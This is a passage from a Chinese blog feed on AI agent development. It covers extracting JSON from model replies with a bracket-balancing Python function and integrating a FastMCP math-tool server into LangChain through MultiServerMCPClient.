class="code"><pre><span class="line">测试用例 3:</span><br><span class="line">用户输入: 可乐2瓶，薯片5包，巧克力4块</span><br><span class="line"></span><br><span class="line">==================================================</span><br><span class="line">1. 使用JSON Schema方法:</span><br><span class="line">&#123;</span><br><span class="line">  &quot;items&quot;: [</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;可乐&quot;,</span><br><span class="line">      &quot;quantity&quot;: 2,</span><br><span class="line">      &quot;unit&quot;: &quot;瓶&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;薯片&quot;,</span><br><span class="line">      &quot;quantity&quot;: 5,</span><br><span class="line">      &quot;unit&quot;: &quot;包&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;巧克力&quot;,</span><br><span class="line">      &quot;quantity&quot;: 4,</span><br><span class="line">      &quot;unit&quot;: &quot;块&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">------------------------------</span><br><span class="line">2. 使用prompt限定格式方法:</span><br><span class="line">&#123;</span><br><span class="line">  &quot;items&quot;: [</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;可乐&quot;,</span><br><span class="line">      &quot;quantity&quot;: 2,</span><br><span class="line">      &quot;unit&quot;: &quot;瓶&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;薯片&quot;,</span><br><span class="line">      &quot;quantity&quot;: 5,</span><br><span class="line">      &quot;unit&quot;: &quot;包&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;巧克力&quot;,</span><br><span class="line">      &quot;quantity&quot;: 4,</span><br><span class="line">      &quot;unit&quot;: &quot;块&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此可见，如果使用的OpenAI服务提供商支持response_format，使用response_format来控制AI输出结构是更好的方式，同时也避免我们去过多调试“约束AI生成数据结构”的Prompt了。</p><h2 id="5-从AI回答里面精准提取json字符串">5. 从AI回答里面精准提取json字符串</h2><p>不过呢，输出markdown代码块是一个小问题了，我们可以很轻松地编写一个json提取函数，从AI的输出里面精准提取出完整的json来，只要AI输出的json没有断。</p><blockquote><p>如果你不想自己实现，可以使用pypi上已有的解析器：<a href="https://pypi.org/project/JsonExtractor/#files">JsonExtractor</a></p></blockquote><p>在很多场景下都可以使用这个json对AI的输出进行处理（即便提供了response_format也可以使用这个函数先处理一下），保证我们后续节点一定能得到一个有效的json结构。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Union</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_json_with_regex</span>(<span class="params">response_str: <span class="built_in">str</span></span>) -&gt; <span class="type">Union</span>[<span class="built_in">dict</span>,<span class="built_in">list</span>]:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    使用算法从字符串中精准提取唯一的完整JSON</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        response_str: 包含JSON的原始回答字符串</span></span><br><span class="line"><span class="string">        </span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        dict/list: 解析后的JSON对象或数组，无法解析时返回None</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># 先直接进行一次json处理，失败了再往后走</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">return</span> json.loads(response_str)</span><br><span class="line">    <span class="keyword">except</span> json.JSONDecodeError <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">pass</span>  <span class="comment"># 第一次可能失败，不对异常做任何处理</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 步骤1：移除Markdown代码块标记（```json、```等）</span></span><br><span class="line">    response_str = re.sub(<span class="string">r&#x27;```(?:json)?\s*|\s*```&#x27;</span>, <span class="string">&#x27;&#x27;</span>, response_str, flags=re.IGNORECASE)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 步骤2：使用改进的算法提取JSON，支持嵌套结构</span></span><br><span class="line">    <span class="comment"># 由于Python re不支持递归，使用平衡括号算法</span></span><br><span class="line">    matches = []</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 提取JSON对象和数组</span></span><br><span class="line">    <span class="keyword">for</span> i, char <span class="keyword">in</span> <span class="built_in">enumerate</span>(response_str):</span><br><span class="line">        <span class="keyword">if</span> char == <span class="string">&#x27;&#123;&#x27;</span>:</span><br><span class="line">            json_str = _extract_balanced(response_str, i, <span class="string">&#x27;&#123;&#x27;</span>, <span class="string">&#x27;&#125;&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> json_str:</span><br><span class="line">                matches.append(json_str)</span><br><span class="line">        <span class="keyword">elif</span> char == <span class="string">&#x27;[&#x27;</span>:</span><br><span class="line">            json_str = _extract_balanced(response_str, i, <span class="string">&#x27;[&#x27;</span>, <span class="string">&#x27;]&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> json_str:</span><br><span class="line">                matches.append(json_str)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 步骤3：没有找到匹配，直接返回None</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> matches:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 取最长匹配（避免截取不完整的嵌套结构）</span></span><br><span class="line">    json_str = <span class="built_in">max</span>(matches, key=<span class="built_in">len</span>).strip()</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 尝试逐步清理尾部可能的无效字符</span></span><br><span class="line">    <span class="keyword">while</span> json_str <span class="keyword">and</span> json_str[-<span class="number">1</span>] <span class="keyword">not</span> <span class="keyword">in</span> <span class="string">&#x27;&#125;]&#x27;</span>:</span><br><span class="line">        json_str = json_str[:-<span class="number">1</span>].strip()</span><br><span class="line">        <span class="keyword">if</span> json_str <span class="keyword">and</span> json_str[-<span class="number">1</span>] <span class="keyword">in</span> <span class="string">&#x27;,;&#x27;</span>:</span><br><span class="line">            json_str = json_str[:-<span class="number">1</span>].strip()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">return</span> json.loads(json_str)</span><br><span class="line">    <span class="keyword">except</span> json.JSONDecodeError <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;JSON解析失败：<span class="subst">&#123;<span class="built_in">str</span>(e)&#125;</span>\n提取的内容：<span class="subst">&#123;json_str&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_extract_balanced</span>(<span class="params">text: <span class="built_in">str</span>, start_idx: <span class="built_in">int</span>, open_char: <span class="built_in">str</span>, close_char: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    提取平衡的括号内容</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        text: 源文本</span></span><br><span class="line"><span class="string">        start_idx: 起始位置（必须是开括号）</span></span><br><span class="line"><span class="string">        open_char: 开括号字符</span></span><br><span class="line"><span class="string">        close_char: 闭括号字符</span></span><br><span class="line"><span class="string">        </span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        str: 平衡的括号内容，如果无法平衡则返回None</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">if</span> text[start_idx] != open_char:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    stack = <span class="number">1</span></span><br><span class="line">    in_string = <span class="literal">False</span></span><br><span class="line">    escape_next = <span class="literal">False</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(start_idx + <span class="number">1</span>, <span class="built_in">len</span>(text)):</span><br><span class="line">        char = text[i]</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 处理字符串中的转义字符</span></span><br><span class="line">        <span class="keyword">if</span> escape_next:</span><br><span class="line">            escape_next = <span class="literal">False</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">            </span><br><span class="line">        <span class="keyword">if</span> char == <span class="string">&#x27;\\&#x27;</span> <span class="keyword">and</span> in_string:</span><br><span class="line">            escape_next = <span class="literal">True</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">            </span><br><span class="line">        <span class="comment"># 处理字符串开始和结束</span></span><br><span class="line">        <span class="keyword">if</span> char == <span class="string">&#x27;&quot;&#x27;</span> <span class="keyword">and</span> <span class="keyword">not</span> escape_next:</span><br><span class="line">            in_string = <span class="keyword">not</span> in_string</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">            </span><br><span class="line">        <span class="comment"># 只在非字符串状态下计算括号</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> in_string:</span><br><span class="line">            <span class="keyword">if</span> char == open_char:</span><br><span class="line">                stack += <span class="number">1</span></span><br><span class="line">            <span class="keyword">elif</span> char == close_char:</span><br><span class="line">                stack -= <span class="number">1</span></span><br><span class="line">                <span class="keyword">if</span> stack == <span class="number">0</span>:</span><br><span class="line">                    <span class="keyword">return</span> text[start_idx:i+<span class="number">1</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 无法平衡，返回None</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>当然，这个函数没办法处理AI输出的json的结构不对的情况（比如缺key、key的名字不对、结构错乱等问题），只能保证剔除回答里面的其他无效信息，解析出一个有效的json。</p><p>同时，这个函数也不能支持回答里面有多个独立的json的情况。不推荐让AI输出多个独立的json，如果有多个独立json输出的要求，请使用一个大的json，用key包含这些json进行输出，比如指定多个大key来保存独立的json</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;key1&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;key2&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    ...</span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="6-The-end">6. The end</h2><p>本文介绍了如何在调用OpenAI接口的时候约束AI的输出结构。</p><p>这个场景几乎是AI Agent开发里面最常见的场景，即便我们后续使用LangChain SDK，也一样会遇到需要要求AI输出结构化数据的场景。因此了解如何控制AI输出格式化数据，是Agent开发必备的能力。</p>]]></content>
    
    
    <summary type="html">本文介绍了如何在调用OpenAI接口时约束AI输出结构化数据，包括使用response_format参数和JSON Schema来格式化输出，并通过购物清单解析示例演示了具体实现方法。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Agent智能体开发" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Agent%E6%99%BA%E8%83%BD%E4%BD%93%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="Agent开发" scheme="https://blog.musnow.top/tags/Agent%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>【Agent.09】LangChain里面使用MCP工具</title>
    <link href="https://blog.musnow.top/posts/1111260513/"/>
    <id>https://blog.musnow.top/posts/1111260513/</id>
    <published>2025-11-30T08:50:00.000Z</published>
    <updated>2025-12-01T15:34:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>欢迎阅读慕雪撰写的AI Agent专栏，本专栏目录如下</p><ol class="series-items"><li><a href="/posts/2831928244/" title="【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？">【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？</a></li><li><a href="/posts/4710483697/" title="【AI】AI对26届及今后计算机校招的影响">【AI】AI对26届及今后计算机校招的影响</a></li><li><a href="/posts/6796656750/" title="【Agent.01】AI Agent智能体开发专题引言">【Agent.01】AI Agent智能体开发专题引言</a></li><li><a href="/posts/6151856853/" title="【Agent.02】市面上常见的大模型有哪些？">【Agent.02】市面上常见的大模型有哪些？</a></li><li><a href="/posts/5745961587/" title="【Agent.03】带你学会写一个基础的Prompt">【Agent.03】带你学会写一个基础的Prompt</a></li><li><a href="/posts/4044218607/" title="【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互">【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互</a></li><li><a href="/posts/5189745838/" title="【Agent.05】OpenAI接口Function Calling工具调用详解">【Agent.05】OpenAI接口Function Calling工具调用详解</a></li><li><a href="/posts/2999693839/" title="【Agent.06】使用openai sdk实现多轮对话">【Agent.06】使用openai sdk实现多轮对话</a></li><li><a href="/posts/1697221744/" title="【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路">【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路</a></li><li><a href="/posts/8376761897/" title="【Agent.08】LangChain的第一个Demo：从零开始构建Agent">【Agent.08】LangChain的第一个Demo：从零开始构建Agent</a></li><li><a href="/posts/1111260513/" title="【Agent.09】LangChain里面使用MCP工具">【Agent.09】LangChain里面使用MCP工具</a></li><li><a href="/posts/7980046278/" title="【Agent.10】OpenAI接口输出格式约束（response_format）">【Agent.10】OpenAI接口输出格式约束（response_format）</a></li></ol><p>本专栏所有代码都会归档至 <a href="https://gitee.com/musnows/agent-blog">musnows/agent-blog</a> 开源仓库。</p><p>在上一篇文章中，我们学习了LangChain的基础用法和如何创建简单的Agent。本文将说明如何在LangChain中集成MCP（Model Context Protocol）工具。</p><div class="note info modern"><p>本文有使用AI辅助编写</p></div><h2 id="1-什么是MCP？">1. 什么是MCP？</h2><p>MCP的介绍请移步<a href="https://blog.musnow.top/posts/2831928244?from_abbrlink=1111260513">MCP协议</a>博客，本文不多介绍这个协议的原理。</p><p>简而言之，MCP就是在各个Agent SDK所支持的Function Calling上抽象了一层中间层，让这些Function有了一个外部统一调用和处理的协议，从而让我们的各类Tools只需要使用MCP协议编写出一个server，就可以在各个支持MCP的client里面无缝使用，不再需要针对目标工具、SDK做单独的二次工具开发，大大节省了工具兼容的开发时间。</p><p>当然，如果你的工具是Python函数，不涉及到任何兼容逻辑，也不打算切换你的Agent框架的时候，也可以不使用MCP。MCP只是提供了方便，并不代表我们的工具能力就一定要用MCP协议来编写。</p><p>在上一个Demo里面，我们使用了LangChain成功调用了直接在python里面实现的tools，本文将介绍如何在LangChain中集成MCP工具，顺带介绍如何使用fastmcp库编写MCP的server。</p><h2 id="2-创建MCP服务器">2. 创建MCP服务器</h2><h3 id="2-1-环境准备">2.1. 环境准备</h3><p>首先需要安装MCP相关的依赖，第一个是用于编写MCP服务器的库，第二个是LangChain里面的MCP客户端实现。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install fastmcp langchain-mcp-adapters</span><br></pre></td></tr></table></figure><p>如果你使用的是uv，则使用<code>uv add</code>添加这些依赖。</p><h3 id="2-2-创建数学计算服务器">2.2. 创建数学计算服务器</h3><p>本次Demo使用一个比较简单的数学服务器作为演示。</p><p>创建一个名为<code>01.math_server.py</code>的文件：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> mcp.server.fastmcp <span class="keyword">import</span> FastMCP</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建MCP服务器实例，&quot;Math&quot;是服务器名称</span></span><br><span class="line">mcp = FastMCP(<span class="string">&quot;Math&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@mcp.tool()</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">a: <span class="built_in">int</span>, b: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Add two numbers&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> a + b</span><br><span class="line"></span><br><span class="line"><span class="meta">@mcp.tool()</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">multiply</span>(<span class="params">a: <span class="built_in">int</span>, b: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Multiply two numbers&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> a * b</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    mcp.run(transport=<span class="string">&quot;stdio&quot;</span>)</span><br></pre></td></tr></table></figure><p>就是这么短短的几行代码，我们就已经写好了一个MCP服务器了。MCP服务器的启动方式分为两种，一个是stdio（字节流），另外一个是sse（远程）。关于sse协议，在本站也有<a href="https://blog.musnow.top/posts/2725694758?from_abbrlink=1111260513">博客详解</a>。这里为了方便，使用了stdio协议。</p><p>同理，FastMCP框架也会使用python函数的lint和docstring来作为工具的desc，方便Agent理解工具的作用。</p><p>如果你使用的是Anthopic官方提供的MCP Python SDK，则还有另外一套<a href="https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers">更加全面</a>的MCP服务端编写方式，支持自定义的字段更多，但编写也更加复杂。如果没有特殊需要，直接使用FastMCP就可以了，直接在原本的函数上加上一个<code>@mcp.tool()</code>装饰器，就能把普通的函数变成MCP Server的Tools，非常方便。</p><h3 id="2-3-测试MCP服务器">2.3. 测试MCP服务器</h3><p>我们可以直接运行这个服务器来测试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv run mcp/01.math_server.py</span><br></pre></td></tr></table></figure><p>服务器启动后会等待MCP客户端的连接，终端里面啥都不会输出。只要你观测到终端没有报错，阻塞运行了，那就说明server已经正常启动了。</p><h2 id="3-在LangChain中使用MCP工具">3. 在LangChain中使用MCP工具</h2><p>现在让我们在LangChain中集成我们刚创建的MCP工具。</p><p>继续阅读后续代码之前，请对python的await和aysnc的概念有一定了解，参考本站：<a href="https://blog.musnow.top/posts/1092148697?from_abbrlink=1111260513">python的异步和同步</a></p><h3 id="3-1-完整集成代码">3.1. 完整集成代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> langchain_mcp_adapters.client <span class="keyword">import</span> MultiServerMCPClient</span><br><span class="line"><span class="keyword">from</span> langchain.agents <span class="keyword">import</span> create_agent</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> init_chat_model</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载环境变量</span></span><br><span class="line">load_dotenv(override=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># 连接到 MCP 服务器</span></span><br><span class="line">    client = MultiServerMCPClient(&#123;</span><br><span class="line">        <span class="string">&quot;math&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;transport&quot;</span>: <span class="string">&quot;stdio&quot;</span>,  <span class="comment"># 使用stdio传输协议</span></span><br><span class="line">            <span class="string">&quot;command&quot;</span>: <span class="string">&quot;uv&quot;</span>,      <span class="comment"># 启动命令</span></span><br><span class="line">            <span class="string">&quot;args&quot;</span>: [<span class="string">&quot;--directory&quot;</span>, <span class="string">&quot;mcp&quot;</span>, <span class="string">&quot;run&quot;</span>, <span class="string">&quot;01.math_server.py&quot;</span>],</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 配置模型</span></span><br><span class="line">    model = init_chat_model(</span><br><span class="line">        model=os.getenv(<span class="string">&quot;OPENAI_MODEL&quot;</span>),</span><br><span class="line">        model_provider=<span class="string">&quot;openai&quot;</span>,</span><br><span class="line">        api_key=os.getenv(<span class="string">&quot;OPENAI_API_KEY&quot;</span>),</span><br><span class="line">        base_url=os.getenv(<span class="string">&quot;OPENAI_BASE_URL&quot;</span>)</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取 MCP 服务器提供的工具</span></span><br><span class="line">    tools = <span class="keyword">await</span> client.get_tools()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 创建 Agent</span></span><br><span class="line">    agent = create_agent(model=model, tools=tools)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 调用 Agent</span></span><br><span class="line">    result = <span class="keyword">await</span> agent.ainvoke(</span><br><span class="line">        &#123;<span class="string">&quot;messages&quot;</span>: [&#123;</span><br><span class="line">            <span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>,</span><br><span class="line">            <span class="string">&quot;content&quot;</span>: <span class="string">&quot;3 加 5 等于多少？然后乘以 12？&quot;</span></span><br><span class="line">        &#125;]&#125;</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(result[<span class="string">&quot;messages&quot;</span>][-<span class="number">1</span>].content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    asyncio.run(main())</span><br></pre></td></tr></table></figure><h3 id="3-2-代码解析">3.2. 代码解析</h3><p>下面对这段代码比较关键的部分单独解释：</p><h4 id="第一步：创建MCP客户端">第一步：创建MCP客户端</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">client = MultiServerMCPClient(&#123;</span><br><span class="line">    <span class="string">&quot;math&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;transport&quot;</span>: <span class="string">&quot;stdio&quot;</span>,</span><br><span class="line">        <span class="string">&quot;command&quot;</span>: <span class="string">&quot;uv&quot;</span>,</span><br><span class="line">        <span class="string">&quot;args&quot;</span>: [<span class="string">&quot;--directory&quot;</span>, <span class="string">&quot;mcp&quot;</span>, <span class="string">&quot;run&quot;</span>, <span class="string">&quot;01.math_server.py&quot;</span>],</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>这里我们创建了一个多服务器MCP客户端，它可以同时连接多个MCP服务器。</p><p>配置说明：</p><ul><li>“math”：MCP服务器针对Agent暴露的名称，可以自定义。注意在prompt中也需要使用对应的名字，方便Agent确认需要使用的工具是谁。<ul><li>一般MCP客户端会用<code>mcp_服务器名字_工具名字</code>之类的格式作为最终传给Agent的Function Name。</li><li>但在LangChain中，MCP工具传递给AI的名字就是每一个tools的名字，所以需要确保你配置的多个MCP工具里面<strong>没有重名</strong>的tools，否则无法正常识别！<a href="https://github.com/langchain-ai/langchain-mcp-adapters/pull/369">相关issue</a></li></ul></li><li>transport：传输协议，可选为&quot;stdio&quot;、“sse”、“streamable_http”；</li><li>command：启动MCP服务器的命令（只有stdio模式下需要）</li><li>args：启动命令的参数列表（只有stdio模式下需要）</li><li>url：MCP服务器的链接地址（只有sse和streamable_http模式下需要）</li></ul><p>使用stdio模式的时候，我们配置的command和args就是启动MCP服务器的命令。比如上面的配置本质上就是执行了如下命令：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv --directory mcp run 01.math_server.py</span><br></pre></td></tr></table></figure><p>其他MCP服务器，只要使用的是stdio模式，配置方式都是这样的。</p><p>MCP其中一个优点就在于，MCP客户端的链接配置基本上是所有支持MCP的客户端工具通用的，只要把这个json拷贝出去，就可以给其他工具（如claude-code）使用了。</p><p>这里需要注意两点：</p><ul><li>如果配置的stdio的工具，一定要确定配置的命令能够正常执行。可以先执行一下这个命令确认是否能无报错正常启动MCP服务器。</li><li>如果配置的是sse或streamable_http的MCP Server，要确认这个远程的http服务器地址能够正常在客户端的主机上访问到。</li></ul><p>另外，部分Agent工具在MCP服务器无法链接的时候是不会报错提示的（比如claude-code），一定要确认好Agent工具或SDK真的链接上了你提供的MCP工具，否则在缺少工具的时候Agent只会胡乱编造数据！</p><h4 id="第二步：获取工具">第二步：获取工具</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tools = <span class="keyword">await</span> client.get_tools()</span><br></pre></td></tr></table></figure><p>这行代码会启动MCP服务器进程，并获取服务器提供的所有工具，<code>tools</code>是一个包含所有可用工具的列表。如果无法启动或链接MCP服务器，这个函数调用会抛出异常。</p><p>同时，这些工具里面也会包含FastMCP库从docstring里面解析出来的简介、参数、返回值，这些信息都会提供给Agent进行Function Calling。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span 